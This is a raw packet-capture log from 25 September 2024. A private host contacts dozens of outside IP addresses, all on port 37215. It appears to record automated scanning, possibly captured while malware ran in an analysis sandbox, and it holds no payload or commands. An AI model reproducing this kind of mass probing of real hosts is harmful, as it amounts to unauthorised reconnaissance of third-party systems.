Sep 25, 2024 14:14:17.600929022 CEST	37215	63353	41.0.38.254	192.168.2.14
Sep 25, 2024 14:14:17.600943089 CEST	63353	37215	192.168.2.14	41.56.69.189
Sep 25, 2024 14:14:17.600944042 CEST	63353	37215	192.168.2.14	41.125.81.27
Sep 25, 2024 14:14:17.600944042 CEST	63353	37215	192.168.2.14	197.215.173.223
Sep 25, 2024 14:14:17.600950003 CEST	63353	37215	192.168.2.14	197.4.118.161
Sep 25, 2024 14:14:17.600961924 CEST	63353	37215	192.168.2.14	41.0.38.254
Sep 25, 2024 14:14:17.601320982 CEST	34016	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:17.601320982 CEST	34016	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:17.601454020 CEST	37215	38568	156.62.166.162	192.168.2.14
Sep 25, 2024 14:14:17.601496935 CEST	38568	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:17.601689100 CEST	37215	52320	41.214.69.178	192.168.2.14
Sep 25, 2024 14:14:17.601700068 CEST	37215	46936	156.118.30.32	192.168.2.14
Sep 25, 2024 14:14:17.601723909 CEST	52320	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:17.601749897 CEST	46936	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:17.601758003 CEST	37215	37242	41.33.63.180	192.168.2.14
Sep 25, 2024 14:14:17.601792097 CEST	34178	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:17.601795912 CEST	37242	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:17.601804972 CEST	37215	60224	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:17.601815939 CEST	37215	35680	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:17.601825953 CEST	37215	37588	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:17.601845980 CEST	37215	35680	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:17.601855993 CEST	37215	60224	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:17.601881981 CEST	35680	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:17.602117062 CEST	60224	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:17.602262020 CEST	55806	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:17.602262020 CEST	55806	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:17.602479935 CEST	37215	37588	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:17.602514982 CEST	37588	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:17.602617979 CEST	55968	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:17.603100061 CEST	35936	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.603100061 CEST	35936	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.603523970 CEST	36096	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.604007006 CEST	37344	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:17.604007006 CEST	37344	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:17.604346991 CEST	37504	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:17.604860067 CEST	54954	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:17.604870081 CEST	54954	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:17.605266094 CEST	55308	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:17.605755091 CEST	39556	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:17.605755091 CEST	39556	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:17.606123924 CEST	39908	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:17.606129885 CEST	37215	34016	41.162.5.27	192.168.2.14
Sep 25, 2024 14:14:17.606638908 CEST	60204	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:17.606638908 CEST	60204	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:17.607022047 CEST	37215	55806	197.177.63.21	192.168.2.14
Sep 25, 2024 14:14:17.607081890 CEST	60556	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:17.607556105 CEST	38240	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:17.607556105 CEST	38240	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:17.607897043 CEST	38592	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:17.607904911 CEST	37215	35936	197.252.1.92	192.168.2.14
Sep 25, 2024 14:14:17.608236074 CEST	37215	36096	197.252.1.92	192.168.2.14
Sep 25, 2024 14:14:17.608268023 CEST	36096	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.608372927 CEST	55780	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:17.608381987 CEST	55780	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:17.608810902 CEST	56132	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:17.608835936 CEST	37215	37344	41.168.18.102	192.168.2.14
Sep 25, 2024 14:14:17.609483004 CEST	54734	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:17.609483004 CEST	54734	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:17.609576941 CEST	37215	54954	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:17.610013008 CEST	55086	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:17.610492945 CEST	37215	39556	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:17.610666990 CEST	42290	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:17.610800982 CEST	42290	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:17.611093044 CEST	42642	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:17.611505032 CEST	37215	60204	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:17.611603975 CEST	38458	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.611603975 CEST	38458	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.611938000 CEST	38810	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.612339020 CEST	37215	38240	41.163.125.164	192.168.2.14
Sep 25, 2024 14:14:17.612426043 CEST	35744	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:17.612437963 CEST	35744	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:17.612834930 CEST	36096	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:17.613276958 CEST	37215	55780	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:17.613332987 CEST	49578	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:17.613332987 CEST	49578	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:17.613653898 CEST	49928	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:17.614128113 CEST	39212	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:17.614128113 CEST	39212	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:17.614209890 CEST	37215	54734	156.26.49.169	192.168.2.14
Sep 25, 2024 14:14:17.614542961 CEST	39562	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:17.615056992 CEST	41182	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:17.615056992 CEST	41182	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:17.615391970 CEST	41532	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:17.615453959 CEST	37215	42290	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:17.615892887 CEST	41592	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:17.616028070 CEST	41592	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:17.616338968 CEST	41942	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:17.616350889 CEST	37215	38458	197.2.184.228	192.168.2.14
Sep 25, 2024 14:14:17.616708994 CEST	37215	38810	197.2.184.228	192.168.2.14
Sep 25, 2024 14:14:17.616785049 CEST	38810	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.616944075 CEST	36096	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.616978884 CEST	38810	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.617203951 CEST	37215	35744	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:17.618124008 CEST	37215	49578	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:17.618968010 CEST	37215	39212	156.156.136.242	192.168.2.14
Sep 25, 2024 14:14:17.619838953 CEST	37215	41182	197.23.243.19	192.168.2.14
Sep 25, 2024 14:14:17.620731115 CEST	37215	41592	197.96.2.106	192.168.2.14
Sep 25, 2024 14:14:17.621870995 CEST	37215	36096	197.252.1.92	192.168.2.14
Sep 25, 2024 14:14:17.621903896 CEST	36096	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.621999979 CEST	48890	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:17.622000933 CEST	40030	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:17.622001886 CEST	43716	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:17.622004032 CEST	55116	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:17.622009993 CEST	32846	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:17.622010946 CEST	54828	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:17.622014046 CEST	36690	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:17.622016907 CEST	60384	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:17.622040987 CEST	38828	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:17.622040987 CEST	42726	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:17.622215986 CEST	37215	38810	197.2.184.228	192.168.2.14
Sep 25, 2024 14:14:17.622251034 CEST	38810	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.650100946 CEST	37215	54954	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:17.650118113 CEST	37215	37344	41.168.18.102	192.168.2.14
Sep 25, 2024 14:14:17.650129080 CEST	37215	35936	197.252.1.92	192.168.2.14
Sep 25, 2024 14:14:17.650139093 CEST	37215	55806	197.177.63.21	192.168.2.14
Sep 25, 2024 14:14:17.650150061 CEST	37215	34016	41.162.5.27	192.168.2.14
Sep 25, 2024 14:14:17.653844118 CEST	37215	55780	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:17.653856993 CEST	37215	38240	41.163.125.164	192.168.2.14
Sep 25, 2024 14:14:17.653867006 CEST	37215	60204	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:17.653879881 CEST	37215	39556	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:17.654012918 CEST	34360	37215	192.168.2.14	41.146.12.74
Sep 25, 2024 14:14:17.654022932 CEST	38676	37215	192.168.2.14	197.19.250.225
Sep 25, 2024 14:14:17.654027939 CEST	50906	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:17.654027939 CEST	53774	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:17.654032946 CEST	46984	37215	192.168.2.14	41.143.253.249
Sep 25, 2024 14:14:17.654032946 CEST	34284	37215	192.168.2.14	156.34.228.152
Sep 25, 2024 14:14:17.654059887 CEST	35846	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:17.654086113 CEST	54948	37215	192.168.2.14	156.207.45.124
Sep 25, 2024 14:14:17.659167051 CEST	37215	34360	41.146.12.74	192.168.2.14
Sep 25, 2024 14:14:17.659178972 CEST	37215	38676	197.19.250.225	192.168.2.14
Sep 25, 2024 14:14:17.659189939 CEST	37215	50906	41.237.121.233	192.168.2.14
Sep 25, 2024 14:14:17.659198999 CEST	34360	37215	192.168.2.14	41.146.12.74
Sep 25, 2024 14:14:17.659220934 CEST	50906	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:17.659225941 CEST	38676	37215	192.168.2.14	197.19.250.225
Sep 25, 2024 14:14:17.659275055 CEST	34360	37215	192.168.2.14	41.146.12.74
Sep 25, 2024 14:14:17.659277916 CEST	38676	37215	192.168.2.14	197.19.250.225
Sep 25, 2024 14:14:17.659415960 CEST	50906	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:17.659415960 CEST	50906	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:17.659447908 CEST	37215	53774	197.209.241.221	192.168.2.14
Sep 25, 2024 14:14:17.659490108 CEST	53774	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:17.659781933 CEST	51060	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:17.660353899 CEST	53774	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:17.660353899 CEST	53774	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:17.660902977 CEST	53936	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:17.662220955 CEST	37215	39212	156.156.136.242	192.168.2.14
Sep 25, 2024 14:14:17.662231922 CEST	37215	35744	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:17.662242889 CEST	37215	38458	197.2.184.228	192.168.2.14
Sep 25, 2024 14:14:17.662256002 CEST	37215	42290	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:17.662267923 CEST	37215	54734	156.26.49.169	192.168.2.14
Sep 25, 2024 14:14:17.662281990 CEST	37215	49578	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:17.664387941 CEST	37215	50906	41.237.121.233	192.168.2.14
Sep 25, 2024 14:14:17.664479017 CEST	37215	34360	41.146.12.74	192.168.2.14
Sep 25, 2024 14:14:17.664515018 CEST	34360	37215	192.168.2.14	41.146.12.74
Sep 25, 2024 14:14:17.665422916 CEST	37215	38676	197.19.250.225	192.168.2.14
Sep 25, 2024 14:14:17.665460110 CEST	38676	37215	192.168.2.14	197.19.250.225
Sep 25, 2024 14:14:17.665492058 CEST	37215	53774	197.209.241.221	192.168.2.14
Sep 25, 2024 14:14:17.665810108 CEST	37215	41592	197.96.2.106	192.168.2.14
Sep 25, 2024 14:14:17.665819883 CEST	37215	41182	197.23.243.19	192.168.2.14
Sep 25, 2024 14:14:17.705826044 CEST	37215	53774	197.209.241.221	192.168.2.14
Sep 25, 2024 14:14:17.705847025 CEST	37215	50906	41.237.121.233	192.168.2.14
Sep 25, 2024 14:14:18.069981098 CEST	57886	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.069988966 CEST	42374	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.070014000 CEST	35428	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.070015907 CEST	39208	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.070029974 CEST	48192	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.070034027 CEST	48698	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.070034027 CEST	38982	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.074971914 CEST	37215	57886	156.77.57.155	192.168.2.14
Sep 25, 2024 14:14:18.074982882 CEST	37215	42374	41.104.29.87	192.168.2.14
Sep 25, 2024 14:14:18.074991941 CEST	37215	35428	41.163.10.152	192.168.2.14
Sep 25, 2024 14:14:18.075001001 CEST	37215	39208	41.7.151.239	192.168.2.14
Sep 25, 2024 14:14:18.075010061 CEST	37215	48192	41.133.229.37	192.168.2.14
Sep 25, 2024 14:14:18.075017929 CEST	37215	38982	156.175.50.147	192.168.2.14
Sep 25, 2024 14:14:18.075035095 CEST	57886	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.075048923 CEST	42374	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.075052977 CEST	39208	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.075057030 CEST	48192	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.075057983 CEST	35428	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.075071096 CEST	38982	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.075267076 CEST	38982	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.075267076 CEST	38982	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.075278997 CEST	37215	48698	156.5.24.206	192.168.2.14
Sep 25, 2024 14:14:18.075356960 CEST	48698	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.075633049 CEST	39084	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.076114893 CEST	48192	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.076114893 CEST	48192	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.076440096 CEST	48292	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.077008963 CEST	35428	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.077008963 CEST	35428	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.077593088 CEST	35528	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.078195095 CEST	39208	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.078195095 CEST	39208	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.078573942 CEST	39306	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.079179049 CEST	42374	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.079179049 CEST	42374	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.079849958 CEST	42472	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.080081940 CEST	37215	38982	156.175.50.147	192.168.2.14
Sep 25, 2024 14:14:18.080427885 CEST	37215	39084	156.175.50.147	192.168.2.14
Sep 25, 2024 14:14:18.080455065 CEST	57886	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.080455065 CEST	57886	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.080490112 CEST	39084	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.080883026 CEST	37215	48192	41.133.229.37	192.168.2.14
Sep 25, 2024 14:14:18.080919981 CEST	57984	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.081439972 CEST	37215	48292	41.133.229.37	192.168.2.14
Sep 25, 2024 14:14:18.081482887 CEST	48292	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.081599951 CEST	39084	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.081628084 CEST	48292	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.081649065 CEST	48698	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.081649065 CEST	48698	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.081882000 CEST	37215	35428	41.163.10.152	192.168.2.14
Sep 25, 2024 14:14:18.082232952 CEST	48810	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.082657099 CEST	37215	35528	41.163.10.152	192.168.2.14
Sep 25, 2024 14:14:18.082700968 CEST	35528	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.082938910 CEST	35528	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.084352970 CEST	37215	39208	41.7.151.239	192.168.2.14
Sep 25, 2024 14:14:18.085334063 CEST	37215	39306	41.7.151.239	192.168.2.14
Sep 25, 2024 14:14:18.085351944 CEST	37215	42374	41.104.29.87	192.168.2.14
Sep 25, 2024 14:14:18.085361004 CEST	37215	42472	41.104.29.87	192.168.2.14
Sep 25, 2024 14:14:18.085381031 CEST	39306	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.085426092 CEST	39306	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.085448027 CEST	42472	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.085448980 CEST	42472	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.085488081 CEST	37215	57886	156.77.57.155	192.168.2.14
Sep 25, 2024 14:14:18.086369038 CEST	37215	57984	156.77.57.155	192.168.2.14
Sep 25, 2024 14:14:18.086421967 CEST	57984	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.086435080 CEST	57984	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.086456060 CEST	37215	48698	156.5.24.206	192.168.2.14
Sep 25, 2024 14:14:18.087165117 CEST	37215	48810	156.5.24.206	192.168.2.14
Sep 25, 2024 14:14:18.087198973 CEST	48810	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.087218046 CEST	48810	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.089782953 CEST	37215	35528	41.163.10.152	192.168.2.14
Sep 25, 2024 14:14:18.089831114 CEST	37215	48292	41.133.229.37	192.168.2.14
Sep 25, 2024 14:14:18.089839935 CEST	37215	39084	156.175.50.147	192.168.2.14
Sep 25, 2024 14:14:18.090013981 CEST	37215	39084	156.175.50.147	192.168.2.14
Sep 25, 2024 14:14:18.090058088 CEST	39084	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:18.091860056 CEST	37215	48292	41.133.229.37	192.168.2.14
Sep 25, 2024 14:14:18.091912031 CEST	48292	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:18.092623949 CEST	37215	35528	41.163.10.152	192.168.2.14
Sep 25, 2024 14:14:18.092663050 CEST	35528	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:18.093238115 CEST	37215	39306	41.7.151.239	192.168.2.14
Sep 25, 2024 14:14:18.093292952 CEST	39306	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:18.093898058 CEST	37215	48810	156.5.24.206	192.168.2.14
Sep 25, 2024 14:14:18.093909979 CEST	37215	57984	156.77.57.155	192.168.2.14
Sep 25, 2024 14:14:18.093919992 CEST	37215	42472	41.104.29.87	192.168.2.14
Sep 25, 2024 14:14:18.094331980 CEST	37215	42472	41.104.29.87	192.168.2.14
Sep 25, 2024 14:14:18.094362974 CEST	42472	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:18.095680952 CEST	37215	57984	156.77.57.155	192.168.2.14
Sep 25, 2024 14:14:18.095721960 CEST	57984	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:18.096730947 CEST	37215	48810	156.5.24.206	192.168.2.14
Sep 25, 2024 14:14:18.096771002 CEST	48810	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:18.101994038 CEST	46006	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:18.101999044 CEST	36602	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:18.102010965 CEST	35876	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:18.102013111 CEST	35030	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:18.102013111 CEST	51530	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:18.102013111 CEST	56776	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:18.102015018 CEST	46704	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:18.102015972 CEST	46980	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:18.102015972 CEST	48804	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.102025986 CEST	46944	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.102027893 CEST	41946	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.102027893 CEST	32938	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.102050066 CEST	56162	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.102052927 CEST	51606	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:18.106986046 CEST	37215	46006	156.234.214.18	192.168.2.14
Sep 25, 2024 14:14:18.106998920 CEST	37215	36602	41.141.238.167	192.168.2.14
Sep 25, 2024 14:14:18.107008934 CEST	37215	46704	156.237.235.153	192.168.2.14
Sep 25, 2024 14:14:18.107042074 CEST	46006	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:18.107045889 CEST	36602	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:18.107045889 CEST	46704	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:18.107084990 CEST	37215	35876	197.84.75.37	192.168.2.14
Sep 25, 2024 14:14:18.107090950 CEST	46704	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:18.107095003 CEST	37215	35030	41.22.143.134	192.168.2.14
Sep 25, 2024 14:14:18.107105017 CEST	46006	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:18.107106924 CEST	36602	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:18.107115984 CEST	37215	51530	41.94.152.146	192.168.2.14
Sep 25, 2024 14:14:18.107120037 CEST	35876	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:18.107126951 CEST	37215	46944	41.228.32.202	192.168.2.14
Sep 25, 2024 14:14:18.107136011 CEST	37215	56776	41.93.99.103	192.168.2.14
Sep 25, 2024 14:14:18.107141018 CEST	35030	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:18.107145071 CEST	37215	46980	156.205.204.61	192.168.2.14
Sep 25, 2024 14:14:18.107153893 CEST	37215	48804	41.206.92.108	192.168.2.14
Sep 25, 2024 14:14:18.107163906 CEST	37215	41946	197.29.42.45	192.168.2.14
Sep 25, 2024 14:14:18.107170105 CEST	46944	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.107172966 CEST	51530	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:18.107172966 CEST	37215	32938	41.49.19.95	192.168.2.14
Sep 25, 2024 14:14:18.107172966 CEST	56776	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:18.107180119 CEST	46980	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:18.107194901 CEST	41946	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.107204914 CEST	48804	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.107233047 CEST	37215	56162	41.177.243.71	192.168.2.14
Sep 25, 2024 14:14:18.107255936 CEST	32938	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.107255936 CEST	37215	51606	197.37.51.50	192.168.2.14
Sep 25, 2024 14:14:18.107259989 CEST	35876	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:18.107264996 CEST	56776	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:18.107264996 CEST	51530	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:18.107276917 CEST	56162	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.107276917 CEST	46980	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:18.107283115 CEST	35030	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:18.107321024 CEST	46944	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.107321024 CEST	46944	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.107341051 CEST	51606	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:18.107671976 CEST	47030	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.108149052 CEST	48804	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.108150005 CEST	48804	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.108469963 CEST	48906	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.108962059 CEST	32938	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.108962059 CEST	32938	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.109304905 CEST	33038	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:18.109635115 CEST	41946	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.109635115 CEST	41946	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.109880924 CEST	42044	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:18.110214949 CEST	51606	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:18.110230923 CEST	56162	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.110230923 CEST	56162	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.110466957 CEST	56264	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:18.112345934 CEST	37215	46944	41.228.32.202	192.168.2.14
Sep 25, 2024 14:14:18.112430096 CEST	37215	47030	41.228.32.202	192.168.2.14
Sep 25, 2024 14:14:18.112504005 CEST	47030	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.112504005 CEST	47030	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:18.112932920 CEST	37215	48804	41.206.92.108	192.168.2.14
Sep 25, 2024 14:14:18.113379955 CEST	37215	48906	41.206.92.108	192.168.2.14
Sep 25, 2024 14:14:18.113450050 CEST	48906	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.113450050 CEST	48906	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:18.113895893 CEST	37215	32938	41.49.19.95	192.168.2.14
Sep 25, 2024 14:14:18.114357948 CEST	37215	33038	41.49.19.95	192.168.2.14
